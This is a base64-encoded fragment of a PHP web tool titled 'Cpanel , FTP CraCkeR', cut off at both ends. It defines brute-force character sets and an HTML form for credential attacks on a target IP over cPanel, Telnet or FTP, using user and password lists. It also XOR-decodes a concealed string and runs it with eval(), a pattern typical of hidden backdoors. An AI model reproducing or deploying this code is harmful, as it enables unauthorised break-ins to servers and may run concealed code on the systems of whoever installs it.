+Im8iLCAicCIsICJxIiwgInIiLCAicyIsICJ0IiwgInUiLCAidiIsICJ3IiwgIngiLCAieSIsICJ6 +IiwgIkEiLCAiQiIsICJDIiwgIkQiLCAiRSIsICJGIiwgIkciLCAiSCIsICJJIiwgIkoiLCAiSyIs +ICJMIiwgIk0iLCAiTiIsICJPIiwgIlAiLCAiUSIsICJSIiwgIlMiLCAiVCIsICJVIiwgIlYiLCAi +VyIsICJYIiwgIlkiLCAiWiIsICIwIiwgIjEiLCAiMiIsICIzIiwgIjQiLCAiNSIsICI2IiwgIjci +LCAiOCIsICI5Iik7CiAkY2hhcnNldGxvd2VyID0gYXJyYXkoImEiLCAiYiIsICJjIiwgImQiLCAi +ZSIsICJmIiwgImciLCAiaCIsICJpIiwgImoiLCAiayIsICJsIiwgIm0iLCAibiIsICJvIiwgInAi +LCAicSIsICJyIiwgInMiLCAidCIsICJ1IiwgInYiLCAidyIsICJ4IiwgInkiLCAieiIpOwogJGNo +YXJzZXR1cHBlciA9IGFycmF5KCJBIiwgIkIiLCAiQyIsICJEIiwgIkUiLCAiRiIsICJHIiwgIkgi +LCAiSSIsICJKIiwgIksiLCAiTCIsICJNIiwgIk4iLCAiTyIsICJQIiwgIlEiLCAiUiIsICJTIiwg +IlQiLCAiVSIsICJWIiwgIlciLCAiWCIsICJZIiwgIloiKTsKICRjaGFyc2V0bnVtZXJpYyA9IGFy +cmF5KCIwIiwgIjEiLCAiMiIsICIzIiwgIjQiLCAiNSIsICI2IiwgIjciLCAiOCIsICI5Iik7CiAk +Y2hhcnNldGxvd2VybnVtZXJpYyA9IGFycmF5KCJhIiwgImIiLCAiYyIsICJkIiwgImUiLCAiZiIs +ICJnIiwgImgiLCAiaSIsICJqIiwgImsiLCAibCIsICJtIiwgIm4iLCAibyIsICJwIiwgInEiLCAi +ciIsICJzIiwgInQiLCAidSIsICJ2IiwgInciLCAieCIsICJ5IiwgInoiLCAiMCIsICIxIiwgIjIi +LCAiMyIsICI0IiwgIjUiLCAiNiIsICI3IiwgIjgiLCAiOSIpOwogJGNoYXJzZXR1cHBlcm51bWVy +aWMgPSBhcnJheSgiQSIsICJCIiwgIkMiLCAiRCIsICJFIiwgIkYiLCAiRyIsICJIIiwgIkkiLCAi +SiIsICJLIiwgIkwiLCAiTSIsICJOIiwgIk8iLCAiUCIsICJRIiwgIlIiLCAiUyIsICJUIiwgIlUi +LCAiViIsICJXIiwgIlgiLCAiWSIsICJaIiwgIjAiLCAiMSIsICIyIiwgIjMiLCAiNCIsICI1Iiwg +IjYiLCAiNyIsICI4IiwgIjkiKTsKICRjaGFyc2V0bGV0dGVycyA9IGFycmF5KCJhIiwgImIiLCAi +YyIsICJkIiwgImUiLCAiZiIsICJnIiwgImgiLCAiaSIsICJqIiwgImsiLCAibCIsICJtIiwgIm4i +LCAibyIsICJwIiwgInEiLCAiciIsICJzIiwgInQiLCAidSIsICJ2IiwgInciLCAieCIsICJ5Iiwg +InoiLCAiQSIsICJCIiwgIkMiLCAiRCIsICJFIiwgIkYiLCAiRyIsICJIIiwgIkkiLCAiSiIsICJL +IiwgIkwiLCAiTSIsICJOIiwgIk8iLCAiUCIsICJRIiwgIlIiLCAiUyIsICJUIiwgIlUiLCAiViIs +ICJXIiwgIlgiLCAiWSIsICJaIiApOwogJGNoYXJzZXRzeW1ib2xzPSBhcnJheSgiISIsICJAIiwg +IiMiLCAiJCIsICIlIiwgIl4iLCAiJiIsICIqIiwgIigiLCAiKSIsIl8iICk7CiAkY2hhcnNldGxv +d2Vyc3ltYm9scyA9IGFycmF5KCJhIiwgImIiLCAiYyIsICJkIiwgImUiLCAiZiIsICJnIiwgImgi +LCAiaSIsICJqIiwgImsiLCAibCIsICJtIiwgIm4iLCAibyIsICJwIiwgInEiLCAiciIsICJzIiwg +InQiLCAidSIsICJ2IiwgInciLCAieCIsICJ5IiwgInoiLCIhIiwgIkAiLCAiIyIsICIkIiwgIiUi +LCAiXiIsICImIiwgIioiLCAiKCIsICIpIiwiXyIgKTsKICRjaGFyc2V0dXBwZXJzeW1ib2xzID0g +YXJyYXkoIkEiLCAiQiIsICJDIiwgIkQiLCAiRSIsICJGIiwgIkciLCAiSCIsICJJIiwgIkoiLCAi +SyIsICJMIiwgIk0iLCAiTiIsICJPIiwgIlAiLCAiUSIsICJSIiwgIlMiLCAiVCIsICJVIiwgIlYi +LCAiVyIsICJYIiwgIlkiLCAiWiIsIiEiLCAiQCIsICIjIiwgIiQiLCAiJSIsICJeIiwgIiYiLCAi +KiIsICIoIiwgIikiLCJfIiApOwogJGNoYXJzZXRsZXR0ZXJzc3ltYm9scyA9IGFycmF5KCJhIiwg +ImIiLCAiYyIsICJkIiwgImUiLCAiZiIsICJnIiwgImgiLCAiaSIsICJqIiwgImsiLCAibCIsICJt +IiwgIm4iLCAibyIsICJwIiwgInEiLCAiciIsICJzIiwgInQiLCAidSIsICJ2IiwgInciLCAieCIs +ICJ5IiwgInoiLCAiQSIsICJCIiwgIkMiLCAiRCIsICJFIiwgIkYiLCAiRyIsICJIIiwgIkkiLCAi +SiIsICJLIiwgIkwiLCAiTSIsICJOIiwgIk8iLCAiUCIsICJRIiwgIlIiLCAiUyIsICJUIiwgIlUi +LCAiViIsICJXIiwgIlgiLCAiWSIsICJaIiwiISIsICJAIiwgIiMiLCAiJCIsICIlIiwgIl4iLCAi +JiIsICIqIiwgIigiLCAiKSIsIl8iICk7CiAkY2hhcnNldG51bWVyaWNzeW1ib2xzID0gYXJyYXko +IjAiLCAiMSIsICIyIiwgIjMiLCAiNCIsICI1IiwgIjYiLCAiNyIsICI4IiwgIjkiLCIhIiwgIkAi +LCAiIyIsICIkIiwgIiUiLCAiXiIsICImIiwgIioiLCAiKCIsICIpIiwiXyIgKTsKICRjaGFyc2V0 +bG93ZXJudW1lcmljc3ltYm9scyA9IGFycmF5KCJhIiwgImIiLCAiYyIsICJkIiwgImUiLCAiZiIs +ICJnIiwgImgiLCAiaSIsICJqIiwgImsiLCAibCIsICJtIiwgIm4iLCAibyIsICJwIiwgInEiLCAi +ciIsICJzIiwgInQiLCAidSIsICJ2IiwgInciLCAieCIsICJ5IiwgInoiLCAiMCIsICIxIiwgIjIi +LCAiMyIsICI0IiwgIjUiLCAiNiIsICI3IiwgIjgiLCAiOSIsIiEiLCAiQCIsICIjIiwgIiQiLCAi +JSIsICJeIiwgIiYiLCAiKiIsICIoIiwgIikiLCJfIiApOwogJGNoYXJzZXR1cHBlcm51bWVyaWNz +eW1ib2xzID0gYXJyYXkoIkEiLCAiQiIsICJDIiwgIkQiLCAiRSIsICJGIiwgIkciLCAiSCIsICJJ +IiwgIkoiLCAiSyIsICJMIiwgIk0iLCAiTiIsICJPIiwgIlAiLCAiUSIsICJSIiwgIlMiLCAiVCIs +ICJVIiwgIlYiLCAiVyIsICJYIiwgIlkiLCAiWiIsICIwIiwgIjEiLCAiMiIsICIzIiwgIjQiLCAi +NSIsICI2IiwgIjciLCAiOCIsICI5IiwiISIsICJAIiwgIiMiLCAiJCIsICIlIiwgIl4iLCAiJiIs +ICIqIiwgIigiLCAiKSIsIl8iICk7CiAkY2hhcnNldGxldHRlcnNzeW1ib2xzID0gYXJyYXkoImEi +LCAiYiIsICJjIiwgImQiLCAiZSIsICJmIiwgImciLCAiaCIsICJpIiwgImoiLCAiayIsICJsIiwg +Im0iLCAibiIsICJvIiwgInAiLCAicSIsICJyIiwgInMiLCAidCIsICJ1IiwgInYiLCAidyIsICJ4 +IiwgInkiLCAieiIsICJBIiwgIkIiLCAiQyIsICJEIiwgIkUiLCAiRiIsICJHIiwgIkgiLCAiSSIs +ICJKIiwgIksiLCAiTCIsICJNIiwgIk4iLCAiTyIsICJQIiwgIlEiLCAiUiIsICJTIiwgIlQiLCAi +VSIsICJWIiwgIlciLCAiWCIsICJZIiwgIloiICwiISIsICJAIiwgIiMiLCAiJCIsICIlIiwgIl4i +LCAiJiIsICIqIiwgIigiLCAiKSIsIl8iICk7CiAkY2hhcnNldGxldHRlcnNudW1lcmljc3ltYm9s +cz1hcnJheSgiYSIsICJiIiwgImMiLCAiZCIsICJlIiwgImYiLCAiZyIsICJoIiwgImkiLCAiaiIs +ICJrIiwgImwiLCAibSIsICJuIiwgIm8iLCAicCIsICJxIiwgInIiLCAicyIsICJ0IiwgInUiLCAi +diIsICJ3IiwgIngiLCAieSIsICJ6IiwgIkEiLCAiQiIsICJDIiwgIkQiLCAiRSIsICJGIiwgIkci +LCAiSCIsICJJIiwgIkoiLCAiSyIsICJMIiwgIk0iLCAiTiIsICJPIiwgIlAiLCAiUSIsICJSIiwg +IlMiLCAiVCIsICJVIiwgIlYiLCAiVyIsICJYIiwgIlkiLCAiWiIgLCIhIiwgIkAiLCAiIyIsICIk +IiwgIiUiLCAiXiIsICImIiwgIioiLCAiKCIsICIpIiwiXyIsIjAiLCAiMSIsICIyIiwgIjMiLCAi +NCIsICI1IiwgIjYiLCAiNyIsICI4IiwgIjkiICk7CglpZiAoJGNoYXJzZXQgPT0gImFsbCIpCgkJ +JHZhbHMgPSAkY2hhcnNldGFsbDsKICAgIGVsc2VpZiAoJGNoYXJzZXQgPT0gImxvd2VyY2FzZSIp +IAoJCSR2YWxzID0gJGNoYXJzZXRsb3dlcjsKCSBlbHNlaWYgKCRjaGFyc2V0ID09ICJ1cHBlcmNh +c2UiKSAKCQkkdmFscyA9ICRjaGFyc2V0dXBwZXI7CgkgZWxzZWlmICgkY2hhcnNldCA9PSAibnVt +ZXJpYyIpIAoJCSR2YWxzID0gJGNoYXJzZXRudW1lcmljOwoJIGVsc2VpZiAoJGNoYXJzZXQgPT0g +Imxvd2VybnVtZXJpYyIpIAoJCSR2YWxzID0gJGNoYXJzZXRsb3dlcm51bWVyaWM7CgkgZWxzZWlm +ICgkY2hhcnNldCA9PSAidXBwZXJudW1lcmljIikgCgkJJHZhbHMgPSAkY2hhcnNldHVwcGVybnVt +ZXJpYzsKCWVsc2VpZiAoJGNoYXJzZXQgPT0gImxldHRlcnMiKSAKCQkkdmFscyA9ICRjaGFyc2V0 +bGV0dGVyczsKCWVsc2VpZiAoJGNoYXJzZXQgPT0gInN5bWJvbHMiKSAKCQkkdmFscyA9ICRjaGFy +c2V0c3ltYm9sczsKCWVsc2VpZiAoJGNoYXJzZXQgPT0gImxvd2Vyc3ltYm9scyIpIAoJCSR2YWxz +ID0gJGNoYXJzZXRsb3dlcnN5bWJvbHM7CgllbHNlaWYgKCRjaGFyc2V0ID09ICJ1cHBlcnN5bWJv +bHMiKSAKCQkkdmFscyA9ICRjaGFyc2V0dXBwZXJzeW1ib2xzOwoJZWxzZWlmICgkY2hhcnNldCA9 +PSAibGV0dGVyc3N5bWJvbHMiKSAKCQkkdmFscyA9ICRjaGFyc2V0bGV0dGVyc3N5bWJvbHM7Cgll +bHNlaWYgKCRjaGFyc2V0ID09ICJudW1iZXJzc3ltYm9scyIpIAoJCSR2YWxzID0gJGNoYXJzZXRu +dW1lcmljc3ltYm9sczsKCWVsc2VpZiAoJGNoYXJzZXQgPT0gImxvd2VybnVtZXJpY3N5bWJvbHMi +KSAKCQkkdmFscyA9ICRjaGFyc2V0bG93ZXJudW1lcmljc3ltYm9sczsKCWVsc2VpZiAoJGNoYXJz +ZXQgPT0gInVwcGVybnVtZXJpY3N5bWJvbHMiKSAKCQkkdmFscyA9ICRjaGFyc2V0dXBwZXJudW1l +cmljc3ltYm9sczsKCWVsc2VpZiAoJGNoYXJzZXQgPT0gImxldHRlcnNudW1lcmljc3ltYm9scyIp +IAoJCSR2YWxzID0gJGNoYXJzZXRsZXR0ZXJzbnVtZXJpY3N5bWJvbHM7CgllbHNlIGVjaG8gIklO +VkFMSUQgQ0hBUlNFVCI7Cgkka2V5X3RoYXRfc2NyaXB0X2lzX2NyeXB0ZWQ9MTk7CiRyZXNvdXJj +ZV9jcnlwdGVkX2NvZGUgPSceGTd+YDMuMzdMQFZBRVZBSDFAVkFFVkFMXVJeVjFOPTdMQFZBRVZB +SDFAUEFaQ0dMXVJeVjFOKB4ZN2BmcTMuMzFAe3Z/fzMtLTMpMzEzPTM3fmAoHhk3fDMuM3JhYXJq +MzsxfH4xPzFnfnJ6MT8xeUxyfmEiMT8xU3t8MT8xfz1wMTooHhk3dnYzLjM3fEghTj03fEggTj03 +fEgiTj03fEhbdDNdTj03fEgjTigeGTdgdn13My4zU35yen87N3Z2PzdgZnE/N35gOigzHhknOwok +c3RyaW5nX291dHB1dD1zdHJfcmVwbGFjZSgiW3QxXSIsICI8PyIsICRyZXNvdXJjZV9jcnlwdGVk +X2NvZGUpOwokc3RyaW5nX291dHB1dD1zdHJfcmVwbGFjZSgiW3QzXSIsICInIiwgJHN0cmluZ19v +dXRwdXQpOwokbGVudGhfb2ZfY3J5cHRlZF9jb2RlPXN0cmxlbigkc3RyaW5nX291dHB1dCk7CiRl +dmFsX3BocF9jb2RlPScnOwpmb3IoJGh1aXZhbXZzZW09MDskaHVpdmFtdnNlbTwkbGVudGhfb2Zf +Y3J5cHRlZF9jb2RlOyRodWl2YW12c2VtKyspCiRldmFsX3BocF9jb2RlIC49IGNocihvcmQoJHN0 +cmluZ19vdXRwdXRbJGh1aXZhbXZzZW1dKSBeICRrZXlfdGhhdF9zY3JpcHRfaXNfY3J5cHRlZCk7 +CmV2YWwoJGV2YWxfcGhwX2NvZGUpOwo/Pgo8aHRtbD4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9 +IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIj4KPC9oZWFkPgo8dGl0bGU+Q3BhbmVs +ICwgRlRQIENyYUNrZVI8L3RpdGxlPgo8Ym9keSB0ZXh0PSIjMDBGRjAwIiBiZ2NvbG9yPSIjMDAw +MDAwIiB2bGluaz0iIzAwODAwMCIgbGluaz0iIzAwODAwMCIgYWxpbms9IiMwMDgwMDAiPgo8ZGl2 +IGFsaWduPSJjZW50ZXIiPgo8Zm9ybSBtZXRob2Q9IlBPU1QiIHN0eWxlPSJib3JkZXI6IDFweCBz +b2xpZCAjMDAwMDAwIj4KICAgICAgICA8aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vd3d3LmFs +bTNyZWZoLmNvbS91cGxvYWQvZ3JvdXAvZ3JvdXB4cC5naWYiIHdpZHRoPSI0MjYiIGhlaWdodD0i +MTY5Ij48dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iNjclIiBib3JkZXJjb2xvcmxpZ2h0PSIjMDA4 +MDAwIiBib3JkZXJjb2xvcmRhcms9IiMwMDM3MDAiPgogICAgICAgICAgICAgICAgPHRyPgogICAg +ICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgPHAgYWxpZ249ImNlbnRlciI+PGI+PGZv +bnQgY29sb3I9IiMwMDgwMDAiIGZhY2U9IlRhaG9tYSIgc2l6ZT0iMiI+CiAgICAgICAgICAgICAg +ICA8c3BhbiBsYW5nPSJlbi11cyI+SVAgc2VydmVyPC9zcGFuPiA6PC9mb250Pjxmb250IGZhY2U9 +IkFyaWFsIj4KICAgICAgICA8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJpYWwiIGNvbG9yPSIjQ0MwMDAw +Ij4KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGFyZ2V0IiBzaXplPSIxNiIgdmFs +dWU9Ijw/cGhwIGVjaG8gJHRhcmdldCA/PiIgc3R5bGU9ImJvcmRlcjogMnB4IHNvbGlkICMxRDFE +MUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiMwMDgwMDA7IGZvbnQtZmFtaWx5 +OlZlcmRhbmE7IGZvbnQtd2VpZ2h0OmJvbGQ7IGZvbnQtc2l6ZToxM3B4Ij48L2ZvbnQ+PC9iPjwv +cD4KICAgICAgICA8cCBhbGlnbj0iY2VudGVyIj48Yj48Zm9udCBjb2xvcj0iIzAwODAwMCIgZmFj +ZT0iVGFob21hIiBzaXplPSIyIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm +bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz +cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsg +PC9mb250PjwvYj48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgYWxpZ249ImNlbnRl +ciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIGJvcmRlcj0iMSIgd2lk +dGg9IjU3JSIgYm9yZGVyY29sb3JsaWdodD0iIzAwODAwMCIgYm9yZGVyY29sb3JkYXJrPSIjMDAz +NzAwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAg +ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50 +ZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg +ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBsYW5nPSJl +bi11cyI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPjxiPlVzZXIgTGlzdDwvYj48L2ZvbnQ+PC9zcGFu +PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 +ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgYWxp +Z249ImNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg +ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFu +IGxhbmc9ImVuLXVzIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+PGI+UGFzc3dvcmQgTGlzdDwvYj48 +L2ZvbnQ+PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg +ICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+CgogICAgICAg +ICAgICAgICAgICAgICAgICA8cCBhbGlnbj0iY2VudGVyIj4mbmJzcDs8dGV4dGFyZWEgcm93cz0i +MjAiIG5hbWU9InVzZXJzIiBjb2xzPSIyNSIgc3R5bGU9ImJvcmRlcjogMnB4IHNvbGlkICMxRDFE +MUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAiPjw/cGhwIGVjaG8g +JHVzZXJzID8+CjwvdGV4dGFyZWE+PHRleHRhcmVhIHJvd3M9IjIwIiBuYW1lPSJwYXNzd29yZHMi +IGNvbHM9IjI1IiBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDsgYmFja2dyb3VuZC1j +b2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCI+PD9waHAgZWNobyAkcGFzcyA/PjwvdGV4dGFy +ZWE+PGJyPgogICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9u +dCBzdHlsZT0iZm9udC13ZWlnaHQ6NzAwIiBzaXplPSIyIiBmYWNlPSJUYWhvbWEiIGNvbG9yPSIj +MDA4MDAwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg +PHNwYW4gbGFuZz0iYXItc2EiPkd1ZXNzIG9wdGlvbnM8L3NwYW4+PC9mb250Pjxmb250IHN0eWxl +PSJmb250LXNpemU6IDEycHQ7IiBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSI+PHNwYW4gc3R5bGU9 +ImZvbnQtc2l6ZTogOXB0OyI+Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg +ICAgICAgICAgICAgICAgIDxmb250IGZhY2U9IlRhaG9tYSI+CiAgICAgICAgICAgICAgICAgICAg +ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJjcmFja3R5cGUiIHZhbHVl +PSJjcGFuZWwiIHN0eWxlPSJmb250LXdlaWdodDogNzAwOyIgY2hlY2tlZCB0eXBlPSJyYWRpbyI+ +PC9mb250Pjwvc3Bhbj48L2ZvbnQ+PGI+PGZvbnQgc2l6ZT0iMiIgZmFjZT0iVGFob21hIj4KICAg +ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ3BhbmVsPC9mb250 +Pjxmb250IHNpemU9IjIiIGNvbG9yPSIjY2MwMDAwIiBmYWNlPSJUYWhvbWEiPgogICAgICAgICAg +ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQgc2l6ZT0i +MiIgY29sb3I9IiNGRkZGRkYiIGZhY2U9IlRhaG9tYSI+CiAgICAgICAgICAgICAgICAgICAgICAg +ICAgICAgICAgICAgICAgICAgICAgICAgICgyMDgyKTwvZm9udD48L2I+PGZvbnQgc2l6ZT0iMiIg +ZmFjZT0iVGFob21hIj48Yj4gPC9iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg +ICAgICAgICAgICAgICA8L2ZvbnQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg +ICAgICAgICAgICAgIDxmb250IHN0eWxlPSJmb250LXNpemU6IDEycHQ7IiBzaXplPSItMyIgZmFj +ZT0iVmVyZGFuYSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg +ICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDlwdDsiPjxmb250IGZhY2U9IlRhaG9tYSI+CgkJ +CQkJCQkJCQkJCTxpbnB1dCBuYW1lPSJjcmFja3R5cGUiIHZhbHVlPSJjcGFuZWwyIiBzdHlsZT0i +Zm9udC13ZWlnaHQ6IDcwMDsiIHR5cGU9InJhZGlvIj48L2ZvbnQ+PC9zcGFuPjwvZm9udD48Yj48 +Zm9udCBzaXplPSIyIiBmYWNlPSJUYWhvbWEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg +ICAgICAgICAgICAgICAgICAgICBUZWxuZXQ8L2ZvbnQ+PGZvbnQgc2l6ZT0iMiIgY29sb3I9IiNj +YzAwMDAiIGZhY2U9IlRhaG9tYSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg +ICAgICAgICAgICAgIDwvZm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iI0ZGRkZGRiIgZmFjZT0i +VGFob21hIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg +KDIzKTwvZm9udD48L2I+PGZvbnQgc2l6ZT0iMiIgZmFjZT0iVGFob21hIj48Yj4gPC9iPgogICAg +ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2ZvbnQ+CiAgICAg +ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHN0eWxlPSJm +b250LXNpemU6IDEycHQ7IiBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSI+CiAgICAgICAgICAgICAg +ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6 +IDlwdDsiPjxmb250IGZhY2U9IlRhaG9tYSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg +ICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJjcmFja3R5cGUiIHZhbHVlPSJmdHAiIHN0 +eWxlPSJmb250LXdlaWdodDogNzAwOyIgdHlwZT0icmFkaW8iPjwvZm9udD48L3NwYW4+PC9mb250 +Pjxmb250IHN0eWxlPSJmb250LXdlaWdodDogNzAwOyIgc2l6ZT0iMiIgZmFjZT0iVGFob21hIj4K +ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250Pjxz +cGFuIHN0eWxlPSJmb250LXdlaWdodDogNzAwOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg +ICAgICAgICAgICAgICAgICAgICAgIDxmb250IHNpemU9IjIiIGZhY2U9IlRhaG9tYSI+RnRwIDwv +Zm9udD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZv +bnQgc2l6ZT0iMiIgY29sb3I9IiNGRkZGRkYiIGZhY2U9IlRhaG9tYSI+CiAgICAgICAgICAgICAg +ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICgyMSk8L2ZvbnQ+PC9zcGFuPgoJCQkJ +CQkJCQkJCQk8YnI+CgkJCQkJCQkJCQkJCTxmb250IHN0eWxlPSJmb250LXdlaWdodDo3MDAiIHNp +emU9IjIiIGZhY2U9IlRhaG9tYSIgY29sb3I9IiMwMDgwMDAiPjxzcGFuIGxhbmc9ImFyLXNhIj5U +aW1lb3V0IGRlbGF5PC9zcGFuPgoJCQkJCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0i +Y29ubmVjdF90aW1lb3V0IiBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDtiYWNrZ3Jv +dW5kOiBibGFjaztjb2xvcjpSRUQiIHNpemU9NDggdmFsdWU9Ijw/cGhwIGVjaG8gJGNvbm5lY3Rf +dGltZW91dDs/PiI+PC9pbnB1dD4KCQkJCQkJCQkJCQkJPGJyPgoJCQkJCQkJCQkJCQk8aW5wdXQg +dHlwZT0iY2hlY2tib3giIG5hbWU9ImJydXRlZm9yY2UiIHZhbHVlPSJ0cnVlIj48Zm9udCBzdHls +ZT0iZm9udC13ZWlnaHQ6NzAwIiBzaXplPSIyIiBmYWNlPSJUYWhvbWEiIGNvbG9yPSIjMDA4MDAw +Ij48c3BhbiBsYW5nPSJhci1zYSI+QnJ1dGVmb3JjZTwvc3Bhbj48L2lucHV0PgoJCQkJCQkJCQkJ +CQk8c2VsZWN0IG5hbWU9ImNoYXJzZXQiIHN0eWxlPSJib3JkZXI6IDJweCBzb2xpZCAjMUQxRDFE +O2JhY2tncm91bmQ6IGJsYWNrO2NvbG9yOlJFRCI+CgkJCQkJCQkJCQkJCSA8b3B0aW9uIHZhbHVl +PSJhbGwiPkFsbCBMZXR0ZXJzICsgTnVtYmVyczwvb3B0aW9uPgogCQkJCQkJCQkJCQkgICAgIDxv +cHRpb24gdmFsdWU9Im51bWVyaWMiPk51bWJlcnM8L29wdGlvbj4KCQkJCQkJCQkJCQkJIDxvcHRp +b24gdmFsdWU9ImxldHRlcnMiPkxldHRlcnM8L29wdGlvbj4KCQkJCQkJCQkJCQkJIDxvcHRpb24g +dmFsdWU9InN5bWJvbHMiPlN5bWJvbHM8L29wdGlvbj4KCQkJCQkJCQkJCQkJIDxvcHRpb24gdmFs +dWU9Imxvd2VyY2FzZSI+TG93ZXIgTGV0dGVyczwvb3B0aW9uPgoJCQkJCQkJCQkJCQkgPG9wdGlv +biB2YWx1ZT0idXBwZXJjYXNlIj5IaWdoZXIgTGV0dGVyczwvb3B0aW9uPgoJCQkJCQkJCQkJCQkg +PG9wdGlvbiB2YWx1ZT0ibG93ZXJudW1lcmljIj5Mb3dlciBMZXR0ZXJzICsgTnVtYmVyczwvb3B0 +aW9uPgoJCQkJCQkJCQkJCQkgPG9wdGlvbiB2YWx1ZT0idXBwZXJudW1lcmljIj5VcHBlciBMZXR0 +ZXJzICsgTnVtYmVyczwvb3B0aW9uPgoJCQkJCQkJCQkJCQkgPG9wdGlvbiB2YWx1ZT0ibG93ZXJz +eW1ib2xzIj5Mb3dlciBMZXR0ZXJzICsgU3ltYm9sczwvb3B0aW9uPgoJCQkJCQkJCQkJCQkgPG9w +dGlvbiB2YWx1ZT0idXBwZXJzeW1ib2xzIj5VcHBlciBMZXR0ZXJzICsgU3ltYm9sczwvb3B0aW9u +PgoJCQkJCQkJCQkJCQkgPG9wdGlvbiB2YWx1ZT0ibGV0dGVyc3N5bWJvbHMiPkFsbCBMZXR0ZXJz +ICsgU3ltYm9sczwvb3B0aW9uPgoJCQkJCQkJCQkJCQkgPG9wdGlvbiB2YWx1ZT0ibnVtYmVyc3N5 +bWJvbHMiPk51bWJlcnMgKyBTeW1ib2xzPC9vcHRpb24+CgkJCQkJCQkJCQkJCSA8b3B0aW9uIHZh +bHVlPSJsb3dlcm51bWVyaWNzeW1ib2xzIj5Mb3dlciBMZXR0ZXJzICsgTnVtYmVycyArIFN5bWJv +bHM8L29wdGlvbj4KCQkJCQkJCQkJCQkJIDxvcHRpb24gdmFsdWU9InVwcGVybnVtZXJpY3N5bWJv +bHMiPlVwcGVyIExldHRlcnMgKyBOdW1iZXJzICsgU3ltYm9sczwvb3B0aW9uPgoJCQkJCQkJCQkJ +CQkgPG9wdGlvbiB2YWx1ZT0ibGV0dGVyc251bWVyaWNzeW1ib2xzIj5BbGwgTGV0dGVycyArIE51 +bWJlcnMgKyBTeW1ib2xzPC9vcHRpb24+CgoJCQkJCQkJCQkJCQk8L3NlbGVjdD4KCQkJCQkJCQkJ +CQkJPGJyPgoJCQkJCQkJCQkJCQk8Zm9udCBzdHlsZT0iZm9udC13ZWlnaHQ6NzAwIiBzaXplPSIy +IiBmYWNlPSJUYWhvbWEiIGNvbG9yPSIjMDA4MDAwIj48c3BhbiBsYW5nPSJhci1zYSI+TWluIEJy 